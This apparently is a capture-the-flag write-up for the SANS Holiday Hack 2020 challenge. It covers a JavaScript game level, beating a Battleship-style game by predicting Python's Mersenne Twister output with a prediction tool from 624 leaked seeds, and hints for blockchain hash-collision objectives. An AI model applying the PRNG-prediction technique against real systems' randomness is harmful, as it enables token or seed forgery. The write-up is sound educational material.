level 8 map
level 8 map

The levers' objectives are all the same, we need to respond with the lever value that it returns added to the values of all the previous levers. Each lever will lift the next bridge.

The Munchkin #0 objective is:

Munchkin #0 objective
Munchkin #0 objective

Again, there is an additional handicap: elf.moveTo(object) has been disabled.
Solution:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
var sum = 0
var answer = ""
for (var i = 0; i < 6; i++) {
  j = 2 * i + 1
  i % 2 == 0 ? elf.moveRight(j) : elf.moveLeft(j)
  sum = sum + elf.get_lever(i)
  elf.pull_lever(sum)
  elf.moveUp(j + 2)
}
function f(json) {
  for (var i = 0; i < json.length; i++) {
    answer = Object.keys(json[i]).find(key => json[i][key] === "lollipop")
    if (answer) {
      return answer
    }
  }
  return 0
}
elf.tell_munch(f)
elf.moveRight(11)

And with that, we completed all the Javascript challenges:

Gave Over!
Gave Over!

Snowball Game


[ELF] Tangle Coalbox [LOCATION] Speaker UNpreparedness Room
Snowball Game location
Snowball Game location

The last game is monitored by Tangle Coalbox:

And the hints he gives us are:

  • PRNG Seeding - While system time is probably most common, developers have the option to seed pseudo-random number generators with other values.
  • Extra Instances - Need extra Snowball Game instances? Pop them up in a new tab from https://snowball2.kringlecastle.com.
  • Mersenne Twister - Python uses the venerable Mersenne Twister algorithm to generate PRNG values after seed. Given enough data, an attacker might predict upcoming values.
  • Twisted Talk - Tom Liston is giving two talks at once - amazing! One is about the Mersenne Twister.

We can as well directly access the game from https://snowball2.kringlecastle.com/ which will be more convenient for analysis. The game is an equivalent of the Battleship board game, we need to throw snowballs and hit the hidden snow forts until we destroy all of them. There are 4 different difficulties.

Snowball Fight
Snowball Fight

Easy and Medium:
In the Easy and Medium level, we can choose the Player Name and can beat the game quite easily by playing normally as the computer is not very smart:

easy game
easy game

When we win we get the following message:

game win
game win

In the case we loose we get:

game Over
game Over

So if our understanding is correct, in the Easy and Medium level we can choose what is the seed used to generate the board. This means that if we use always the same seed, the board will always be the same. And it appears that the seed used on these levels is the Player Name. For instance, for a seed=noobintheshell we get the following enemy board each time:

solution board seed=noobintheshell
solution board seed=noobintheshell

The same goes for our board that is as well always the same for a given seed.

Hard:
In Hard mode, we can’t choose the seed, however, we see it (our Player Name) when we start the game. So what we can do to beat this level is to run the game in Easy mode (in another tab) with the seed used in Hard mode. We will know where the snow castles are.

Impossible:
In this mode, we can’t make any single mistake as the attacker is successful at each turn.

Here, we do not get to know the seed used at all. However, we get to know from the game description that hundreds of random seed are generated before one is picked up. The tested ones are shown in the HTML code of the page:

random seeds attempted - snippet
random seeds attempted - snippet

As we know from the hints, the Python random function is used to generate those random numbers. This function uses the Marsenne-Twister algorithm for the PRNG. This algorithm has a known weakness: if we have enough consecutive random numbers, we can possibly predict the next ones. We can use the marsene-twister-predictor to achieve that. We can install it with:

$ pip3 install mersenne-twister-predictor

Then we need to get the list of random numbers that we saw in the HTML code in a text file, one number per line. For the prediction to work, we need exactly the last 624 generated random numbers because Marsene-Twister uses a state table of 624 values. Then simply call the below command to get the next random number:

$ cat random_numbers.txt | mt19937predict | head -n 1
71766020

Then, as for the Hard level, we can use this seed on the Easy level to get the castle placement and beat the Impossible level:

impossible win!
impossible win!
To validate the challenge, this must be done from inside the game terminal, not from the dedicated website.

Tangle gives us some hints to beat Objective 11a and Objective 11b:

  • MD5 Hash Collisions - If you have control over to bytes in a file, it’s easy to create MD5 hash collisions. Problem is: there’s that nonce that he would have to know ahead of time.
  • Blockchain … Chaining - A blockchain works by “chaining” blocks together - each new block includes a hash of the previous block. That previous hash value is included in the data that is hashed - and that hash value will be in the next block. So there’s no way that Jack could change an existing block without it messing up the chain…
  • Blockchain Talk - Qwerty Petabyte is giving a talk about blockchain tomfoolery!
  • Block Investigation - The idea that Jack could somehow change the data in a block without invalidating the whole chain just collides with the concept of hashes and blockchains. While there’s no way it could happen, maybe if you look at the block that seems like it got changed, it might help.
  • Unique Hash Collision - If Jack was somehow able to change the contents of the block AND the document without changing the hash… that would require a very UNIque hash COLLision.
  • Imposter Block Event - Shinny Upatree swears that he doesn’t remember writing the contents of the document found in that block. Maybe looking closely at the documents, you might find something interesting.
  • Minimal Changes - Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It’s like some sort of evil game to him.

Items

Some items are spread around the Santa’s castle. At the exception of the Proxmark3, used to complete Objective 5, the items can only be used to operate the Santavator. Here is their location:

Item Location Description
Broken Candycane Near the castle entrance, on the floor Like one you’d find between the couch cushions
Hex Nut 1 Entry Area next to the Santavator An unremarkable, stainless steel, hex nut
Hex Nut 2 Dining Room, hidden under the table An unremarkable, stainless steel, hex nut
Green Bulb Top left corner of the Courtyard It’s a green bulb from those big, old-school christmas lights.
Elevator Service Key Talk to Sparkle Redberry next to the Satavator This key opens the service panel on the Santavator.
Red Bulb Top right of the Talks Lobby (2nd floor) It’s a red bulb from those big, old-school christmas lights.
Elevator 1.5 Button Bottom right of the Speaker UNpreparedness Room Like those awkward semi-sequels, this button goes almost to the next floor
Large Marble Workshop, on the floor It’s a marble…that attracts sparkles.
Rubber Ball Wrapping Room, on the floor Great for bouncing electrons, probably.
Proxmark3 Wrapping Room, on the floor RFID Swiss-army tool
Portals Speaker UNpreparedness Room, from the vending machine Good for shifting the Super Santavator Sparkle Stream across spacetime… or eating!
Yellow Bulb Rooftop, on the floor It’s a yellow bulb from those big, old-school christmas lights.

Christmas Eggs

One of the quests I enjoy the most in the Holiday Hack challenges is to find as many hidden Eggs as possible! Here are the ones I spotted this year:

Location Egg
Challenge title Three French Hens comes from The Twelve Days of Christmas Christmas carol (the 3rd day of Christmas for the 3rd KringleCon)
Castle Approach Richard F. Hall panel on the grass, building homes in Jersey Shore
Castle Approach one of the hens, Jean-Claude, says “Jacques DuGivre!” in French which translates to Jack Frost.
Castle Entry is the painting a portrait of Ed Skoudis?
Wrapping Room the email on the wall asking Iceman if the name Proxmark3 could be used freely
Objective 1 the Enigma Machine on the billboard image
Objective 6 the Splunk user is Kris Kringle, another name for Santa…but that could as well refer to the main protagonist of Miracle on 34th Street
Objective 6 Alice Bluebird is the main character of the graphic novel Through the Looking Glass Table from Splunk.
Objective 6 the Lollipop Guild refers to The Wizard of Oz
Objective 8 ASCII art in the server’s tmp folder
Objective 9 the FTP server ftp.osuosl.org actually exists and is owned by the Open Source Lab @ Oregon State University
Objective 9 the final letter we retrieve refers to a lot of characters from Rudolph the Red-Nosed Reinder
Objective 9 the final letter we retrieve Tanta Kringle is a character from Santa Claus Is Comin To Town
Objective 11 the elves on the shelf that are reporting kids bat behavior
CranPi 1 Jason The Plant hidden in the ‘plant’ menu (made appearances in past challenges)
CranPi 2 the SESSNAME environment variable is Munchkin Wrangler which refers to The Wizard of Oz movie
Soundtrack the song played in the Dining Room is a remix of a The Year Without A Santa Claus song
Soundtrack the song in the Courtyard is a remix of a You’re a Mean One, Mr Grinch
Soundtrack the song in the Kitchen is a remix of Jimmy Boyd’s I saw Mommy kissing Santa Claus
Soundtrack the Santavator’s song is a remix of the Girl from Ipanema
Soundtrack the song in the ??? room is a remix of I Wish I Could Be Santa Claus from A Muppets Christmas
Soundtrack Santa’s transformation song is a remix of Zat You Santa Claus from Louis Armstrong
The Elf C0de lollipops and Munchkins refer to the to The Wizard of Oz movie
Sort-O-Matic the Island of Misfit Toys refers to Rudolph the Red-Nosed Reinder
Snowball Game the ID used for the win code is HughRansomDrysdale who is the villain in the movie Knives Out
Snowball Game the QR code shown when we loose directs us to www.counterhack.com

Additional Ressources


Objective 3

Objective 6

Objective 8

Objective 10

Objective 11a

Objective 11b

CranPi Terminal 7

Share on

Avatar
WRITTEN BY
noobintheshell
AppSec Engineer and CTFer